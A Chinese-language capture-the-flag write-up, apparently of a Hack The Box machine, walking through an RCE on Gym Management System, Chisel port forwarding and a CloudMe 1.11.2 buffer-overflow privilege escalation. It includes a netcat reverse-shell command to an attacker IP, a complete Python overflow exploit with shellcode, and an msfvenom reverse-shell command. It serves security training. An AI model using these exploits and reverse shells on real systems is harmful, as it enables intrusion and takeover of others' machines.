[Meachines] [Easy] Buff Gym-CMS-RCE+Chisel端口转发+CloudMe云文件存储-缓冲区溢出权限提升
字数 1196 2025-08-20 18:18:23

Gym Management System RCE + Chisel端口转发 + CloudMe缓冲区溢出权限提升综合教学文档

1. 信息收集阶段

1.1 初始扫描

目标IP: 10.10.10.198

使用Nmap进行端口扫描:

nmap -p- 10.10.10.198 --min-rate 1000 -sC -sV -Pn

发现开放端口:

  • 7680/tcp: pando-pub服务
  • 8080/tcp: HTTP服务 (Apache 2.4.43, PHP 7.4.6)

1.2 Web目录枚举

使用Gobuster进行目录扫描:

gobuster dir -u http://10.10.10.198:8080 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php -t 50

2. 初始访问 - Gym Management System RCE

2.1 漏洞识别

搜索Gym Management System漏洞:

searchsploit Gym Management System

发现漏洞利用脚本48506.py

2.2 执行RCE攻击

使用Python2执行漏洞利用:

python2 48506.py http://10.10.10.198:8080/

成功获取user.txt: 869a558cb1e1a7d53ec51402ba999b16

3. 权限提升准备

3.1 上传Netcat

在目标系统上传Netcat:

> curl -o %TEMP%\nc.exe http://10.10.16.24/nc.exe
> %TEMP%\nc.exe -e cmd 10.10.16.24 10034

3.2 端口监控

创建find_port.bat脚本监控8888端口:

@echo off
setlocal
for /f "tokens=5" %%a in ('netstat -aon ^| findstr :8888') do (
    set PID=%%a
)
if defined PID (
    echo PID for port 8888: %PID%
    tasklist /v | findstr "%PID%"
) else (
    echo No process found using port 8888.
)
endlocal

使用PowerShell下载并执行:

curl -o "$env:TEMP\find_port.bat" http://10.10.16.24/find_port.bat
Start-Process -FilePath "$env:TEMP\find_port.bat" -NoNewWindow -Wait

发现CloudMe.exe服务运行在8888端口,版本为1.11.2

4. 权限提升 - CloudMe缓冲区溢出

4.1 漏洞识别

搜索CloudMe漏洞:

searchsploit CloudMe

发现缓冲区溢出漏洞

4.2 端口转发

由于CloudMe服务运行在本地(127.0.0.1:8888),需要进行端口转发

上传Chisel:

curl -o "$env:TEMP\chisel.exe" http://10.10.16.24/chisel.exe
Start-Process -FilePath "$env:TEMP\chisel.exe -h" -NoNewWindow -Wait

在攻击机启动Chisel服务器:

chisel server -port 8000 --reverse

在目标机建立反向隧道:

Start-Process -FilePath "$env:TEMP\chisel.exe" -ArgumentList "client 10.10.16.24:8000 R:8888:127.0.0.1:8888" -NoNewWindow -Wait

4.3 缓冲区溢出利用

创建exp.py利用脚本:

import socket

target = "127.0.0.1"
padding1 = b"\x90" * 1052
EIP = b"\xB5\x42\xA8\x68"  # 0x68A842B5 -> PUSH ESP, RET
NOPS = b"\x90" * 30

# 生成payload (示例使用calc.exe)
# msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
payload = b""
payload += b"\xda\xcf\xd9\x74\x24\xf4\x5b\xb8\x5c\xa8\x33"
payload += b"\x9e\x2b\xc9\xb1\x52\x83\xeb\xfc\x31\x43\x13"
payload += b"\x03\x1f\xbb\xd1\x6b\x63\x53\x97\x94\x9b\xa4"
payload += b"\xf8\x1d\x7e\x95\x38\x79\x0b\x86\x88\x09\x59"
payload += b"\x2b\x62\x5f\x49\xb8\x06\x48\x7e\x09\xac\xae"
payload += b"\xb1\x8a\x9d\x93\xd0\x08\xdc\xc7\x32\x30\x2f"
payload += b"\x1a\x33\x75\x52\xd7\x61\x2e\x18\x4a\x95\x5b"
payload += b"\x54\x57\x1e\x17\x78\xdf\xc3\xe0\x7b\xce\x52"
payload += b"\x7a\x22\xd0\x55\xaf\x5e\x59\x4d\xac\x5b\x13"
payload += b"\xe6\x06\x17\xa2\x2e\x57\xd8\x09\x0f\x57\x2b"
payload += b"\x53\x48\x50\xd4\x26\xa0\xa2\x69\x31\x77\xd8"
payload += b"\xb5\xb4\x63\x7a\x3d\x6e\x4f\x7a\x92\xe9\x04"
payload += b"\x70\x5f\x7d\x42\x95\x5e\x52\xf9\xa1\xeb\x55"
payload += b"\x2d\x20\xaf\x71\xe9\x68\x6b\x1b\xa8\xd4\xda"
payload += b"\x24\xaa\xb6\x83\x80\xa1\x5b\xd7\xb8\xe8\x33"
payload += b"\x14\xf1\x12\xc4\x32\x82\x61\xf6\x9d\x38\xed"
payload += b"\xba\x56\xe7\xea\xbd\x4c\x5f\x64\x40\x6f\xa0"
payload += b"\xad\x87\x3b\xf0\xc5\x2e\x44\x9b\x15\xce\x91"
payload += b"\x0c\x45\x60\x4a\xed\x35\xc0\x3a\x85\x5f\xcf"
payload += b"\x65\xb5\x60\x05\x0e\x5c\x9b\xce\x3b\xab\xb3"
payload += b"\x16\x54\xa9\xb3\x01\x93\x24\x55\x27\xcb\x60"
payload += b"\xce\xd0\x72\x29\x84\x41\x7a\xe7\xe1\x42\xf0"
payload += b"\x04\x16\x0c\xf1\x61\x04\xf9\xf1\x3f\x76\xac"
payload += b"\x0e\xea\x1e\x32\x9c\x71\xde\x3d\xbd\x2d\x89"
payload += b"\x6a\x73\x24\x5f\x87\x2a\x9e\x7d\x5a\xaa\xd9"
payload += b"\xc5\x81\x0f\xe7\xc4\x44\x2b\xc3\xd6\x90\xb4"
payload += b"\x4f\x82\x4c\xe3\x19\x7c\x2b\x5d\xe8\xd6\xe5"
payload += b"\x32\xa2\xbe\x70\x79\x75\xb8\x7c\x54\x03\x24"
payload += b"\xcc\x01\x52\x5b\xe1\xc5\x52\x24\x1f\x76\x9c"
payload += b"\xff\x9b\x86\xd7\x5d\x8d\x0e\xbe\x34\x8f\x52"
payload += b"\x41\xe3\xcc\x6a\xc2\x01\xad\x88\xda\x60\xa8"
payload += b"\xd5\x5c\x99\xc0\x46\x09\x9d\x77\x66\x18"

overrun = b"C" * (1500 - len(padding1 + NOPS + EIP + payload))
buf = padding1 + EIP + NOPS + payload + overrun

try:
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target,8888))
    s.send(buf)
except Exception as e:
    print(sys.exc_value)

4.4 生成反向Shell Payload

使用msfvenom生成反向Shell:

msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.16.24 LPORT=10039 -b '\x00\x0A\x0D' -f python -v payload

将生成的payload替换到exp.py脚本中

4.5 执行漏洞利用

运行修改后的exp.py:

python exp.py

成功获取root.txt: baf3f9d9a9c36a71e732becd0565cafb

5. 关键点总结

  1. 信息收集:全面扫描目标系统,识别开放服务和潜在漏洞
  2. 初始访问:利用Gym Management System的RCE漏洞获取初始立足点
  3. 权限提升准备
    • 上传必要工具(nc.exe, chisel.exe)
    • 识别本地运行的高权限服务(CloudMe)
  4. 端口转发:使用Chisel建立反向隧道,访问本地服务
  5. 缓冲区溢出利用
    • 识别易受攻击的版本(CloudMe 1.11.2)
    • 构造精确的缓冲区溢出payload
    • 使用正确的返回地址(0x68A842B5)
    • 生成并插入反向Shell代码
  6. 获取系统权限:成功执行缓冲区溢出攻击,获取系统级权限

6. 防御建议

  1. 及时更新系统和应用软件
  2. 对用户输入进行严格验证和过滤
  3. 使用DEP和ASLR等内存保护机制
  4. 限制网络服务的访问范围
  5. 实施最小权限原则
  6. 监控异常网络连接和进程行为
Gym Management System RCE + Chisel端口转发 + CloudMe缓冲区溢出权限提升综合教学文档 1. 信息收集阶段 1.1 初始扫描 目标IP: 10.10.10.198 使用Nmap进行端口扫描: 发现开放端口: 7680/tcp: pando-pub服务 8080/tcp: HTTP服务 (Apache 2.4.43, PHP 7.4.6) 1.2 Web目录枚举 使用Gobuster进行目录扫描: 2. 初始访问 - Gym Management System RCE 2.1 漏洞识别 搜索Gym Management System漏洞: 发现漏洞利用脚本48506.py 2.2 执行RCE攻击 使用Python2执行漏洞利用: 成功获取user.txt: 869a558cb1e1a7d53ec51402ba999b16 3. 权限提升准备 3.1 上传Netcat 在目标系统上传Netcat: 3.2 端口监控 创建find_ port.bat脚本监控8888端口: 使用PowerShell下载并执行: 发现CloudMe.exe服务运行在8888端口,版本为1.11.2 4. 权限提升 - CloudMe缓冲区溢出 4.1 漏洞识别 搜索CloudMe漏洞: 发现缓冲区溢出漏洞 4.2 端口转发 由于CloudMe服务运行在本地(127.0.0.1:8888),需要进行端口转发 上传Chisel: 在攻击机启动Chisel服务器: 在目标机建立反向隧道: 4.3 缓冲区溢出利用 创建exp.py利用脚本: 4.4 生成反向Shell Payload 使用msfvenom生成反向Shell: 将生成的payload替换到exp.py脚本中 4.5 执行漏洞利用 运行修改后的exp.py: 成功获取root.txt: baf3f9d9a9c36a71e732becd0565cafb 5. 关键点总结 信息收集 :全面扫描目标系统,识别开放服务和潜在漏洞 初始访问 :利用Gym Management System的RCE漏洞获取初始立足点 权限提升准备 : 上传必要工具(nc.exe, chisel.exe) 识别本地运行的高权限服务(CloudMe) 端口转发 :使用Chisel建立反向隧道,访问本地服务 缓冲区溢出利用 : 识别易受攻击的版本(CloudMe 1.11.2) 构造精确的缓冲区溢出payload 使用正确的返回地址(0x68A842B5) 生成并插入反向Shell代码 获取系统权限 :成功执行缓冲区溢出攻击,获取系统级权限 6. 防御建议 及时更新系统和应用软件 对用户输入进行严格验证和过滤 使用DEP和ASLR等内存保护机制 限制网络服务的访问范围 实施最小权限原则 监控异常网络连接和进程行为